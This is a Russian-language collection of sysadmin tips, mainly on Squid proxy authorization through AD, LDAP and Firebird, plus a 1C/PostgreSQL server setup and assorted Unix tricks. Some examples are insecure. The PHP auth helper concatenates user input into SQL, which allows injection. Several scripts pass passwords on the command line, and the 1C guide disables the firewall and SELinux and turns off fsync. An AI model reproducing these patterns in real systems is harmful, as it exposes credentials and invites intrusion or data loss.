    acl work-week time MTWHF 08:00-20:00 #  Доступ с 08-00 до 20-00 с понедельника по пятницу
    acl all-week time SMTWHFA 08:00-20:00 # Доступ с 08-00 до 20-00 всю неделю
    acl all-time time SMTWHFA 00:00-24:00 # Доступ круглосуточно всю неделю
    
    # Осуществляем проверку на принадлежность к нужно группе
    acl InetAccess-proxy-08-20ww external InetGroup-proxy-08-20ww proxy-08-20ww
    acl InetAccess-proxy-08-20aw external InetGroup-proxy-08-20aw proxy-08-20aw
    acl InetAccess-proxy-00-24all external InetGroup-proxy-00-24all proxy-00-24all
    
    # Собираем все в кучу и проверяем на предмет получения дуступа к ИНТЕРНЕТ
    http_access allow you_domain work-week InetAccess-proxy-08-20ww
    http_access allow you_domain all-week InetAccess-proxy-08-20aw
    http_access allow you_domain all-time InetAccess-proxy-00-24all
    
    ----------------------
    
    proxy-08-20ww, proxy-08-20aw, proxy-00-24all - Группы в домене. В них заносишь
    тех юзеров, которым разрешен доступ.
    
    wbinfo_group.pl - Используй именно этот скрипт. В том, что идет в комплекте со
    squid имеется ошибка.
    Здесь она исправлена.
    
    #!/usr/bin/perl -w
    #
    # external_acl helper to Squid to verify NT Domain group
    # membership using /usr/local/samba/bin/wbinfo
    #
    # This program is put in the public domain by Jerry Murdock
    # <jmurdock@itraktech.com>. It is distributed in the hope that it will
    # be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
    # of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    #
    # Author:
    #   Jerry Murdock <jmurdock@itraktech.com>
    #
    # Version history:
    #   2002-07-05 Jerry Murdock <jmurdock@itraktech.com>
    #               Initial release
    #
    
    # external_acl uses shell style lines in it's protocol
    require 'shellwords.pl';
    
    # Disable output buffering
    $|=1;
    
    sub debug {
            # Uncomment this to enable debugging
            print STDERR "@_\n";
    }
    
    #
    # Check if a user belongs to a group
    #
    sub check {
            local($user, $group) = @_;
            $groupSID = `/usr/local/samba/bin/wbinfo -n "$group"`;
    #        chop  $groupSID;
            # because wbinfo -n also returns the group number
            $groupSID = substr($groupSID,0,index($groupSID," ",0));
            $groupGID = `/usr/local/samba/bin/wbinfo -Y "$groupSID"`;
            chop $groupGID;
    #       &debug( "User:  -$user-\nGroup: -$group-\nSID:   -$groupSID-\nGID:   -$groupGID-");
            return 'OK' if(`/usr/local/samba/bin/wbinfo -r \Q$user\E` =~ /^$groupGID$/m);
            return 'ERR';
    }
    #
    # Main loop
    #
    while (<STDIN>) {
            chop;
            &debug ("Got $_ from squid");
            ($user, $group) = &shellwords;
            $ans = &check($user, $group);
            &debug ("Sending $ans to squid");
            print "$ans\n";
    }
    
    ----------------------------------------------------------------------------------------------------------
    smb.conf
    
    [global]
            workgroup = YOU-DOMAIN
            realm = YOU-DOMAIN.RU
            netbios name = demon
            server string =  Proxy Server
            hosts allow = 10. 127.
            winbind separator = \\ # Обрати на это внимание
            winbind use default domain = yes
            winbind uid = 10000-20000
            winbind gid = 10000-20000
            winbind enum users = yes
            winbind enum groups = yes
            template homedir = /home/winnt/%D/%U
            template shell = /usr/local/bin/bash
            max log size = 50
            security = domain
            password server = srv1 srv3
            encrypt passwords = yes
    
    srv1 и srv3 - PRIMARY and BACKUP контроллеры домена
    
    ----------------------------------------------------------------------------------------------------------
    root@demon#tail -f /usr/local/squid/var/logs/cache.log
    Got YOU-DOMAIN\\user1 proxy-08-20ww from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-08-20aw from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-00-24all from squid
    Sending OK to squid
    # Тут явно видно, что пользователя user1 нашли в группе proxy-00-24all и squid'у передано OK
    Got YOU-DOMAIN\\user2 proxy-08-20ww from squid
    Sending OK to squid
    Got YOU-DOMAIN\\user3 proxy-08-20ww from squid
    Sending OK to squid
    
    root@demon#tail -f /usr/local/squid/var/logs/access.log
    1147851551.270     20 10.66.107.56 TCP_IMS_HIT/304 251 GET
    http://img.mail.ru/mail/ru/css/mail-main1.css YOU-DOMAIN\user1 NONE/- text/css
    
    
    Небольшое дополнение:
    
    Информация о членстве в группе хранится в кеше squida (по умолчанию) 1 час, а в
    кеше Winbinda - 300 сек.
     Чтобы не ждать столько времени при перемещении пользователя из одной группы в другую 
    советую добавить в squid.conf при описании внешиx ACL опцию ttl,примерно так:
    
    external_acl_type InetGroup-proxy-08-20ww ttl=0 %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    
    а в smb.conf:
    
    [global]
             winbind cache time = 0
    
     
    ----* Авторизация в squid по группам AD   Автор: boombax  [комментарии]
     
    Возникла необходимость разделять доступ пользователей сквид по группам AD. 
    Утилита wbinfo_group.pl, идущая со сквидом при большом числе запросов валила сквид 
    и были проблемы с кешированием данных. Возникла идея написать скрипт, 
    который через rpc запрос забирал членов необходимых доменных групп и скидывал их в текстовые файлы 
    на сервере, одновременно определяя изменения в них и при необходимости перегружая squid.
    
    #!/usr/bin/perl -w
    
    use Text::Diff;
    
    $login="testlogin";
    $password="secret_password";
    $domain="MYDOMAIN";
    $dc="dc.domain.ru";
    $path="/usr/local/etc/squid/acl";
    $reload_squid_cmd="/usr/local/sbin/squid -k reconfigure";
    @ADgroups = ("inet_users","inet_vip","inet_sluz","inet_block");
    
    foreach $group (@ADgroups)
        {
        @group_check= sort `/usr/local/bin/net rpc group MEMBERS $group -U $login%$password -S $dc`;
        @group_check = grep {/^$domain\\/} @group_check;
        $col=@group_check;   
        my $diff = diff \@group_check,  "$path/$group.acl";
            if ($diff and $col) {
                open (GROUPFILE, ">$path/$group.acl") or die "Can't create $group.acl: $!";
                print GROUPFILE @group_check;
                $reconfigure++;
            }
        close GROUPFILE;
    }
    system("$reload_squid_cmd") if ($reconfigure);
    
    
    Данный скрипт вешается в cron и запускается раз в 5 минут
    
    
    Доработанная версия, изменения:
    
    -поддержка пользователей и групп из доверенных доменов
    -поддержка вложенных груп(т.е групп, содержащих в себе другие группы)
    -возможность указания более одного контроллера домена
    -отправка уведомлений по почте администратору о изменениях в группах
    
    #!/usr/bin/perl -w
    
    use Text::Diff;
    
    $login="mylogin";
    $password="cool_password";
    $samba_prefix="/usr/local";
    $winbind_separator="\\";
    @group_domain = ("DOMAIN1\\inet_users","DOMAIN1\\inet_vip","DOMAIN2\\inet_sluz");
    %domain_dc = (
                'DOMAIN1' => [ 'dc.domain1.ru','bdc.domain1.ru' ],
                'DOMAIN2'  => [ 'ad1.domain2.ru','ad2.domain2.ru' ]
                 );
    $acl_path="/usr/local/etc/squid/acl";
    $reload_squid_cmd="/usr/local/sbin/squid -k reconfigure";
    
    sub IsGroup
    {
        my $item = shift;
        foreach $dc_group (@dc_groups) {
            return 1 if ($item =~ /^\Q$dc_group\E$/i);
        }
    #    print "$item\n";
        return 0;
    }
    
    sub extractusers
    {
        my $group = shift;
        my @group_sostav;
        (my $domain, $group) = split(/\Q$winbind_separator\E/, uc($group), 2);
    #    print "$domain $group\n";
        foreach $dc (@{ $domain_dc{$domain} }) {
    #       print "$dc\n";
            @group_sostav = `$samba_prefix/bin/net rpc group MEMBERS "$group" -U $login%$password -S $dc`;
            chomp(@group_sostav);
            @group_sostav = grep { /^\w+\\.+/i } @group_sostav;
            @group_sostav = grep { !/.+\$$/i } @group_sostav;
    #       print "@group_sostav\n";
            last if @group_sostav;
        }
        foreach my $login (@group_sostav)   {
            $login =~ s/(\w+)\\(.+)/\L$1$winbind_separator$2\E/o;
            my $isgroup = IsGroup($login);
            extractusers($login) if $isgroup;
            push (@users,"$login\n") if !$isgroup;
        }
    }
    
    @dc_groups = `$samba_prefix/bin/wbinfo -g`;
    chomp(@dc_groups);
    
    foreach $group (@group_domain)
    {
        local @users;
        extractusers($group);
        my %Users = ();
        my @unique = sort {uc($a) cmp uc($b)} grep{!$Users{$_}++}@users;
        my $count = @unique;
        my $diff = diff "$acl_path/$group.acl", \@unique;
        if ($diff and $count) {
            print "Internet acl group <$group> change:\n";
            print "$diff\n" if $diff;;
            open (GROUPFILE, ">$acl_path/$group.acl") or die "Can't create $group.acl: $!";
            print GROUPFILE @unique;
            close GROUPFILE;
            $reconfigure++;
        }
    }
    
    system("$reload_squid_cmd") if ($reconfigure);
    
     
    ----* Авторизация в squid через базу данных FireBird   Автор: Constantine A.Yarovoy  [обсудить]
     
    в squid.conf добавляем:
       auth_param basic program /usr/sbin/firebird_auth
       auth_param basic children 5
       auth_param basic realm Proxy
       auth_param basic credentialsttl 2 hours
    
       acl your_net src 10.1.0.0/24
       acl passwd proxy_auth REQUIRED
       http_access allow your_net passwd
       http_access deny all
    
    /usr/sbin/firebird_auth - наш скрипт для проверки
       #!/usr/local/bin/php
       <?
    
            while(1) {
    
                $buf = fgets(STDIN);
                $buf = substr($buf,0,-1);
                $account_data = explode(" ",$buf);
                $link = ibase_connect("10.1.0.200:/var/db/firebird/storage/squid.fdb","SYSDBA","<your_pass>");
    
                $res = ibase_query("SELECT * FROM users WHERE LOGIN = '".
                   $account_data[0]."' AND PASSWD = '".$account_data[1]."'")
    
                $row = ibase_fetch_object($res);
    
                if(isset($row->LOGIN)) { echo "OK\n"; } else { echo "ERR\n"; }
    
                ibase_free_result($res);
    
                ibase_close($link);
    
            }
       ?>
    
    ну и не забудьте сделать табличку users в вашей базе в firebird такого содержания:
    
       ID,LOGIN,PASSWD,FIO..
    
     
    ----* Ограничение доступа по ip назначения в Squid   Автор: Skif (Чижиков Владимир)  [комментарии]
     
    Типичная задача: Разрешить доступ пользователю к списку сетей (например UA-IX)
    и запретить мир, и наоборот, запретить доступ пользователя к списку сетей и разрешить все остальное
    
       acl UAIXLIST            dst "/usr/local/etc/squid/access_list/ua-ix.cfg" #Список сетей
    
       acl host_alfa           src 10.0.38.1 # первый хост
       acl host_luna          src 10.0.38.2 # второй хост
    
    
       http_access allow host_alfa UAIXLIST # Разрешаем доступ к UAIXLIST
    
       http_access deny host_alfa all # Запрещаем ко всему остальному
       http_access deny host_luna UAIXLIST # Запрещаем доступ к UAIXLIST
       http_access allow host_luna all # разрешаем ко всему остальному
    
    В последних двух правилах возможна альтернатива:
       http_access allow host_luna !UAIXLIST
    
    содержимое /usr/local/etc/squid/access_list/ua-ix.cfg
       62.16.0.0/19
       62.64.64.0/18
       62.80.160.0/19
       62.149.0.0/19
       62.221.32.0/24
       62.221.33.0/24
       62.221.34.0/24
       62.221.37.0/24
       ......
    
    Знаки комментариев # нежелательны, возможны ошибки(по крайней мере в
    squid-2.5.x). Повторы сетей из разряда
      62.64.64.0/18 
      62.64.64.0/24 
    вызовут предупреждения о дублировании адресов сетей
    
     
    ----* Фильтрация mime_type на Squid'e   Автор: Дмитрий Загацкий  [обсудить]
     
    Использовался сервер FreeBSD 4.11-p13
    squid/2.5.STABLE9 также тестировалось на squid/2.5.STABLE12 
    
       acl stream rep_mime_type -i ^application/x-mms-framed$
       http_reply_access deny stream
       http_reply_access allow all
    
     
    ----* SQUID в сети SAMBA + LDAP, использование групповых ACL   Автор: Афлетдинов Андрей  [комментарии]
     
    Имеем:
       1. Учетные записи пользователей и групп в LDAP
       2. Поднят домен на SAMBA-3.
    
    На стороне сервера SQUID конфигурируем:
       1. /etc/ldap.conf и /etc/nsswith.conf в результате getent passwd и getent group выдает список пользователей и групп
    
       2. минимальный /etc/smb.conf:
       
          [global]
              workgroup = domain
              netbios name = squid
              load printers = no
              printcap name = /dev/null
              security = domain
              password server = sambaserver
              local master = no
              os level = 33
              domain master = no
              preferred master = no
              wins support = no
              winbind use default domain = yes
              winbind cache time = 1200
    
       3. Заводим в домен net -Uadministrator join
    
       4. Запускаем winbind, но при этом в /etc/nsswith.conf его _не_прописываем_
    
       5. разрешаем чтение pipe winbindd процессу squid любым доступным способом, 
           например: setfacl -g:squid:rx /var/lib/samba/winbindd_privileged
    
       6. samba в дальнейшем не нужна
    
       7. далее в squid.conf:
    
          # стандартные опции авторизации
          auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
          auth_param ntlm children 5
          auth_param ntlm max_challenge_reuses 0
          auth_param ntlm max_challenge_lifetime 2 minutes
          auth_param ntlm use_ntlm_negotiate off
          auth_param basic program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-basic
          auth_param basic children 5
          auth_param basic realm Squid proxy-caching web server
          auth_param basic credentialsttl 2 hours
          auth_param basic casesensitive off
    
          # авторизация обязательна
          acl NTLMauth proxy_auth REQUIRED
    
          # определяем типы ACL
          external_acl_type type_ldap_group1 ttl=60 children=1 %LOGIN 
               /usr/lib/squid/   squid_ldap_group.pl -b "cn=group1,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group2 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group2,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group3 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group3,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
          # и сами ACL
          acl acl_group1 external type_ldap_group1
          acl acl_group2 external type_ldap_group2
          acl acl_group3 external type_ldap_group3
    
    ВСЕ. Дальше с ними можно работать как с обычными ACL, начиная от простого
         http_access allow acl_group1
    и заканчивая в вариантах пула и по времени.
    
    При изменении информации в группе LDAP, squid примет изменения только через
    время определенное в ttl, таким образом перезапускать его как -kreconfigure нет
    необходимости, что уже плюс!
    
    Да вот еще, сам скрипт /usr/lib/squid/squid_ldap_group.pl очень прост:
    
    #!/usr/bin/perl
    #
    # squid ldap group
    # mailto:afletdinov\@dc.baikal.ru
    #
    
    use Getopt::Long qw(:config no_ignore_case);
    use Net::LDAP;
    use strict;
    
    # const
    my $VERSION = '20051122';
    
    # variables
    my $ldap;
    my $user;
    my $result;
    #my $pass;
    
    my $opt_groupdn = '';
    my $opt_binddn = '';
    my $opt_bindpasswd = '';
    my $opt_secretfile = '';
    my $opt_uri = '';
    
    GetOptions(
                'b=s' => \$opt_groupdn,
                'D=s' => \$opt_binddn,
                'w=s' => \$opt_bindpasswd,
                'W=s' => \$opt_secretfile,
                'H=s' => \$opt_uri );
    
    # check: requires param
    &usage unless($opt_groupdn and $opt_uri);
    
    #connect
    $ldap = Net::LDAP->new($opt_uri) or die("connect $opt_uri failed!");
    
    # bind
    if($opt_binddn){
    
        # check: secretfile
        if($opt_secretfile){
            open(FILE, "<$opt_secretfile") or die("error read $opt_secretfile");
            $opt_bindpasswd = <FILE>;
            close(FILE); }
    
        $result = $ldap->bind($opt_binddn, password=>$opt_bindpasswd);
    
    # anonymous bind
    }else{ $result = $ldap->bind(); }
    
    $result->code and die($result->error);
    
    # use buffers off
    $| = 1;
    
    # BASIC
        while(<STDIN>){
            chomp;
    
            # format: user password
            unless(/^(\S+)\s*(\S*)$/){ print "ERR\n"; next; }
    
            $user = $1;
            #$pass = $2;
    
            # check: valid group
            $result = $ldap->search(base=>$opt_groupdn, , filter=>"(memberUid=$user)");
    
            # not found
            unless($result->count){ print "ERR\n"; next; }
    
            # auth: OK group: OK
            print "OK\n";
        }
    
    exit;
    
    sub usage(){
        print <<EOF;
    squid_ldap_group.pl version $VERSION
    
    Usage: squid_ldap_group.pl -b "cn=www-access,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
            -b GroupBaseDN    (REQUIRED)
            -H LdapURI        (REQUIRED)
            -D BindDN     
            -w BindPasswd
            -W SecretFile
    
    EOF
        exit;
    }
    
     
    ----* Как запретить выкачивание .mp3 файлов через прокси-сервер Squid.   [комментарии]
     
    acl stop_files url_regex -i ftp \.exe \.mp3 \.vqf \.tar\.gz \.gz \.rpm \.zip
                               \.rar \.avi \.mpeg \.mpe \.mpg \.qt \.ram \.rm \.iso \.raw \.wav \.mov
    acl stop_files rep_mime_type application audio video
    http_access deny stop_files
    
     
    ----* Как запретить работу через Squid пользователей с определенных MAC адресов.   [комментарии]
     
    Squid должен быть собран с ./configure --enable-arp-acl 
    Далее в файле прописываем ACL'и формата:
         acl aclname arp mac_address
    Например:
       acl test1 arp 11:43:67:F5:65:23
       http_access allow test1
       http_access deny all
    
     
    ----* Как ограничить пропускную способность 128 Kbps на каждый IP ?   [комментарии]
     
     acl only128kusers src 192.168.1.0/255.255.192.0
            acl all src 0.0.0.0/0.0.0.0
            delay_pools 1
            delay_class 1 3
            delay_access 1 allow only128kusers
            delay_access 1 deny all
            delay_parameters 1 64000/64000 -1/-1 16000/64000
    
     
    ----* Как органичить общую пропускную способность Squid в 512 Kbps ?   [обсудить]
     
    При сборке не забыть configure --enable-delay-pools
    В файле конфигурации:
    acl all src 0.0.0.0/0.0.0.0         
            delay_pools 1
            delay_class 1 1
            delay_access 1 allow all
            delay_parameters 1 64000/64000          # 512 kbits == 64 kbytes per second
    
     
    ----* Как ограничить число соединений от одного пользователя в Squid и Oops   [комментарии]
     
    Для Squid прописать ACL вида:
    	acl имя_acl'я maxconn ограничения_в_N_соединений
    Для Oops:
    	per_ip_conn   число_соединений;
    
     

       Система
    FreeBSD специфика
    Сис. информация, оптимизация и тюнинг FreeBSD
    Увеличение безопасности FreeBSD
    Установка и апгрейд FreeBSD и приложений.
    Linux специфика
    Оптимизация и тюнинг в Linux
    Увеличение безопасности Linux
    Установка и работа с пакетами программ в Linux
    OpenBSD
    Solaris специфика
    Syslog, ведение логов
    Диски и файлы
    CD-ROM, CD-R, AudioCD:
    RAID массивы
    Ramdisk, tmpfs
    Диагностика и Восстановление после сбоя
    Квоты
    Монтирование
    Резервное копирование
    Файловые системы
    Загрузка, однопользовательский режим
    Кластерные технологии
    Поддержка аппаратного обеспечения
    Просмотр состояния и мониторинг системы
    Установка и синхронизация времени

    ----* Опыт настройки связки PostgreSQL и 1С в Oracle Linux (доп. ссылка 1)   Автор: alexpn  [комментарии]
     
    Потребовалось сделать сервер 1С для чего была выбрана связка OracleLinux 6.1 +
    1C82 (8.2.14.519) + Postgres 9.0.4.
    
    Собрал следующее железо для тестов:
    
       MB: Asus P5
       CPU : Intel(R) Pentium(R) D CPU 3.20GHz 2 ядра
       MEM : 8G
       HDD : 1x160G 7200 (старый нового не нашлось)
    
    hdparm -Tt /dev/sda
    /dev/sda:
     Timing cached reads:   2670 MB in  2.00 seconds = 1335.62 MB/sec
     Timing buffered disk reads:  220 MB in  3.00 seconds =  73.30 MB/sec
    
    При установке выделил под SWAP 10G, остальное под корень, получилось что-то вроде:
    
       /dev/sda1   *           1       18152   145803264   83  Linux
       /dev/sda2           18152       19458    10484736   82  Linux своп / Solaris
    
    ставил все без LVM, разбивка руками. Выбрал минимальную установку
    
    Прицепил RPM-репозитории:
    
       cd /etc/yum.repos.d
       touch public-yum-ol6.repo
    
    добавил в файл public-yum-ol6.repo:
    
       [ol6_ga_base]
       name=Oracle Linux 6 GA - $basearch - base
       baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/0/base/$basearch/
       gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
       gpgcheck=1
       enabled=1
    
       [ol6_u1_base]
       name=Oracle Linux 6 U1 - $basearch - base
       baseurl=http://public-yum.oracle.com/repo/OracleLinux/OL6/1/base/$basearch/
       gpgkey=http://public-yum.oracle.com/RPM-GPG-KEY-oracle-ol6
       gpgcheck=1
       enabled=1
    
    затем все как обычно
    
       yum update
    
    итак что видим ....
    если верить описанию система очень быстрая, некоторые прогнозируют прирост аж 110 процентов.
    смотрим что есть по дефолту
    
    cat /etc/sysctl.conf
    
       # Kernel sysctl configuration file for Red Hat Linux
       # Controls IP packet forwarding
       net.ipv4.ip_forward = 0
    
       # Controls source route verification
       net.ipv4.conf.default.rp_filter = 1
    
       # Do not accept source routing
       net.ipv4.conf.default.accept_source_route = 0
    
       # Controls the System Request debugging functionality of the kernel
       kernel.sysrq = 0
    
       # Controls whether core dumps will append the PID to the core filename.
       # Useful for debugging multi-threaded applications.
       kernel.core_uses_pid = 1
    
       # Controls the use of TCP syncookies
       net.ipv4.tcp_syncookies = 1
    
       # Disable netfilter on bridges.
       net.bridge.bridge-nf-call-ip6tables = 0
       net.bridge.bridge-nf-call-iptables = 0
       net.bridge.bridge-nf-call-arptables = 0
    
       # Controls the maximum size of a message, in bytes
       kernel.msgmnb = 65536
    
       # Controls the default maxmimum size of a mesage queue
       kernel.msgmax = 65536
    
       # Controls the maximum shared segment size, in bytes
       kernel.shmmax = 68719476736
    
       # Controls the maximum number of shared memory segments, in pages
       kernel.shmall = 4294967296
       vm.overcommit_memory=2
    
    неплохо
    добавим на всякий случай
    
       kernel.panic=5
       kernel.panic_on_oops=5
       kernel.panic_on_io_nmi=5
       kernel.panic_on_unrecovered_nmi=5
    
    отключим все ненужное .... взламывать сервер некому, он будет сугубо локальным.
    
       chkconfig ip6tables off
       chkconfig iptables off
       chkconfig netfs off
       chkconfig postfix off
       chkconfig saslauthd off
    
    затем отключим SELinux, так как с ним не работает 1C.
    
    vi /etc/selinux/config
    
       SELINUX=disabled
    
    и reboot
    
    Приступим к настройке 1C и PostgreSQL. Прочитал  статью
    http://www.alsigned.ru/?p=1129 про установку 1С 8.2 в связке с Postgresql 9.0.
    Сделал все как в статье, единственно подменил в конфигурации PostgreSQL 9.0.4 и
    патчи взял для версии 9.0.3 (http://v8.1c.ru/overview/postgres_patches_notes.htm).
    
    Краткое изложение процесса:
    
    Загружаем необходимые пакеты:
       yum install rpm-build gcc make glibc-devel bison flex python-devel tcl-devel readline-devel \
          zlib-devel openssl-devel  krb5-devel  e2fsprogs-devel gettext pam-devel openldap-devel icu libicu libicu-devel
    
    Патчим PostgreSQL
       wget http://v8.1c.ru/overview/postgresql_patches/9-0-4/postgresql-9.0.4-1.1C.src.rpm
       rpm -i postgresql-9.0.4-1.1C.src.rpm
    
    В файле /usr/lib/rpm/macros в параметре %_default_patch_fuzz заменяем 0 на 2.
    В файле /root/rpmbuild/SOURCES/postgresql.init прописываем:
    
       PGENGINE=/usr/pgsql/bin
       PGDATA=/var/lib/pgsql/data
       PGLOG=/var/lib/pgsql/pgstartup.log
    
    В spec-файле /root/rpmbuild/SPECS/postgresql-9.0-4C.spec меняем  postgresql-9.0
    на postgresql, получится примерно так:
    
       525 chkconfig --add postgresql
       530 sbin/service postgresql condstop >/dev/null 2>&1
       531 chkconfig --del postgresql
       537 /sbin/service postgresql condrestart >/dev/null 2>&1
    
    Собираем пакет с пропатченным PostgreSQL:
        rpmbuild -ba --define 'runselftest 0' /root/rpmbuild/SPECS/postgresql-9.0-4C.spec
    
    Устанавливаем пакет:
       rpm -i /root/rpmbuild/RPMS/x86_64/*.rpm
    
    Инициализируем БД:
    
        su postgres
       /usr/pgsql/bin/initdb -D /var/lib/pgsql/data --locale=ru_RU.UTF-8
    
    Запускаем postgresql:
    
       service postgresql start
    
    Устанавливаем 1С:
    
    
    Указываем имя хоста в /etc/hosts (имя должно совпадать с именем HOSTNAME,
    указанным в файле /etc/sysconfig/network):
    
    127.0.0.1       localhost 1csrv 1csrv.mydomain.local
    192.168.1.1     1csrv 1csrv.mydomain.local
    
    
    Устанавливаем пакеты с 1С:
    
       rpm -i 1C_Enterprise82-common-8.2.13-205.x86_64.rpm 1C_Enterprise82-server-8.2.13-205.x86_64.rpm \
          1C_Enterprise82-ws-8.2.13-205.x86_64.rpm 1C_Enterprise82-common-nls-8.2.13-205.x86_64.rpm \
          1C_Enterprise82-server-nls-8.2.13-205.x86_64.rpm 1C_Enterprise82-ws-nls-8.2.13-205.x86_64.rpm 
    
    далее активируем сервисы 1c и postgresql:
    
       chkconfig srv1cv82 on
       chkconfig postgresql on
    
    В .bash_profile правим "PGDATA=/var/lib/pgsql9/data" на "PGDATA=/var/lib/pgsql/data".
    
    Далее запустил 1С-клиента, создал базу TEST и запустил тест Гилева (gilev.ru)
    ...ждал минут 20 !!!! набрал 9.1 !!! балов явно мало для комфортной работы.
    Гилев рекомендует включить блокировки вручную .... что и делаем через конфигуратор
    снова тест ..... уже 14 баллов.
    
    Пробуем  оптимизировать postgresql.conf:
    
       shared_buffers = 1024MB                 # min 128kB
       work_mem = 400MB                                # min 64kB
       maintenance_work_mem = 2048MB           # min 1MB
       fsync = off                             # turns forced   synchronization on or off
       wal_sync_method = fdatasync             # the default is the first option
       commit_delay = 50                       # range 0-100000, in microseconds
       commit_siblings = 7                     # range 1-1000
       cpu_tuple_cost = 0.001                  # same scale as above
       cpu_index_tuple_cost = 0.0005           # same scale as above
       effective_cache_size = 4096MB
    
    далее
    
       /etc/init.d/postgresql restart
       /etc/init.d/srv1cv82 restart
    
    Следующее тестирование показало 20.4 баллов.... неплохой результат.
    Поставил две конфигурации кадрыКОРП  + бухгалтерияКОПРП. В конфигураторе сменил
    блокировки на управляемый режим блокировок.
    
    Написал скрипт для чистки логов и бекапа БД и поместил его в cron:
    
       #!/bin/bash
    
       set +x
    
       /bin/rm -rf /backups/1c/*.log
       /bin/touch /backups/1c/1c8_bkp.log
    
       BKPDIR=/backups/1c
    
       TIME=`date +%d-%m-%Y_%H:%M:%S`  # год,месяц,день,часы,минуты
       DATE_ARC=`date +%d%m%Y`
    
       LOG=/backups/1c/1c8_bkp.log
    
       dl() {
         $* >> $LOG 2>&1
       }
    
       dl echo $TIME
       
       dl /etc/init.d/srv1cv82 stop
       dl /bin/sleep 10
    
    
       /bin/find /backups/1c -type f -mtime +1 -print | /usr/bin/xargs  /bin/rm -f
       /bin/find /var/lib/pgsql/data/pg_log/ -type f -mtime +1 -print |  /usr/bin/xargs /bin/rm -f
    
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/buh.$DATE_ARC.sql buh
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/hrm.$DATE_ARC.sql hrm
       /usr/pgsql/bin/pg_dump -U postgres -Fc -Z9 -c -f /backups/1c/test.$DATE_ARC.sql test
    
       dl echo $TIME
       dl /etc/init.d/srv1cv82 start
    
    Вот пожалуй и все
    
     
    ----* Удаление zombie процессов в Solaris (доп. ссылка 1)   [комментарии]
     
    Нередко из-за отсутствия обработчика сигнала SIGCHLD в родительском процессе, 
    после завершения дочерней программы, остаются "<defunct>" или zombie процессы. 
    Zombie процессы не занимают системные ресурсы, кроме записи в таблице процессов, 
    что может вызвать ее переполнение и как следствие блокировку запуска новых процессов, 
    при большой интенсивности появления zombie. Zombie исчезают после завершения работы 
    родительского процесса, но записи в таблице также можно очистить принудительным путем.
    
    Получаем список zombie процессов:
    
        ps -ecl |grep "Z"
        F S  UID  PID  PPID  CLS PRI  ADDR  SZ  WCHAN TTY  TIME CMD
        0 Z  100 27841 27840   -   0     -   0  -     ?    0:00 <defunct>
    
    "kill" и "kill -9" в случае zombie использовать бесполезно. В Solaris для эмуляции вызова wait() 
    для чтения кода возврата из таблицы процессов существует утилита preap:
    
        preap 27841
        27841: exited with status 0
    
     
    ----* Установка летнего (декретного) времени для оборудования Linksys (доп. ссылка 1)   Автор: Romik  [комментарии]
     
    Daylight Saving Time Rule на закладке Regional у SPA9хх, PAP2 и пр. в России устанавливается в 
    
       start=3/-1/5/02:0:0;end=10/-1/4/02:0:0;save=1
    
    Time Zone GMT +03:00 (в Москве), и указываются работающие NTP сервера.
    Вышеприведенная строка прибавляет 1 час к времени с 02:00 последнего воскресенья марта, 
    и перестает его добавлять в 02:00 в последнее воскресенье октября.
    
     
    ----* Восстановление потерянных из-за сбоя в браузере данных (доп. ссылка 1)   Автор: sysadmin.online  [комментарии]
     
    Если набитые данные в форме случайно необратимо потеряны, например, в Opera или
    Firefox ошибочный клик
    может привести с загрузке нового URL в текущем окне с невозможностью возврата к предыдущему, 
    можно попытаться их восстановить следующим образом.
    
    Находим PID процесса:
    
       ps aux | grep firefox-bin
       ps aux | grep opera
    
    Делаем дамп:
    
      gdb -p 2408
      (gdb) gcore
    
    Ищем текст:
    
       strings core.* | less
    
    Если браузер рухнул, то данные можно попробовать найти в /dev/mem, например:
    
       dd if=/dev/mem of=./mem.dump
       strings ./mem.dump > mem.txt
       
       
    
     
    ----* Скрипт автозагрузки программы с помощью screen (FreeBSD) (доп. ссылка 1)   Автор: denz  [комментарии]
     
    Скрипт запуска и остановки игрового сервера Call of Duty: United Offence 1.51
    
    #!/bin/sh
    # Zapusk Call of Duty (Game server)
    GAMESDIR=/home/games/coduo
    export GAMESDIR
    cd $GAMESDIR
    case "$1" in
        start)
            /usr/local/bin/screen -dm ./coduo_lnxded +set fs_homepath $GAMESDIR \
              +set scr_motd +exec coduo.cfg +exec awe.cfg
            echo "Starting Call of Duty:United Offence 1.51 Server"
    ;;
        stop)
            pid=$(ps -ax|grep coduo_lnxded|grep -v grep | awk '{print $1}')
            kill ${pid} > /dev/null 2>&1
    ;;
        *)
            echo "Используй: `basename $0` { start | stop }"
            exit 64
    ;;
    esac
    
    
    Запускается так: ./etotscript.sh start
    останавливается: ./etotscript.sh stop
    
     
    ----* mgetty и подвисание после прозвона голосом   Автор: Vladimir V. Kamarzin  [комментарии]
     
    В очень многих howto по настройки dial-in рекомендуют 
    в /etc/mgetty+sendfax/login.config прописывать строки
    
       /AutoPPP/ - a_ppp /usr/sbin/pppd auth -chap +pap login 
       * - - /bin/login @
    
    что есть не совсем правильно, если требуется только ppp (или emsi и т.д.), ибо
    при такой конфигурации любой дозвонившийся голосом может завесить
    dial-in. Если не класть трубку 
    хотя бы минуту, то на той стороне mgetty успевает запустить /bin/login, и, естественно, 
    на последующие звонки модем не отвечает.
    
    Не прописывать строчку строчку 
       * - - /bin/login @
    не является выходом - mgetty всё равно запускает /bin/login если не удалось
    распознать ppp. Проблему можно решить, заменив в конфиге /bin/login на
    /sbin/nologin:
    
       * - - /sbin/nologin @
    
     
    ----* Как сохранять все core файлы только в определенной директории   [обсудить]
     
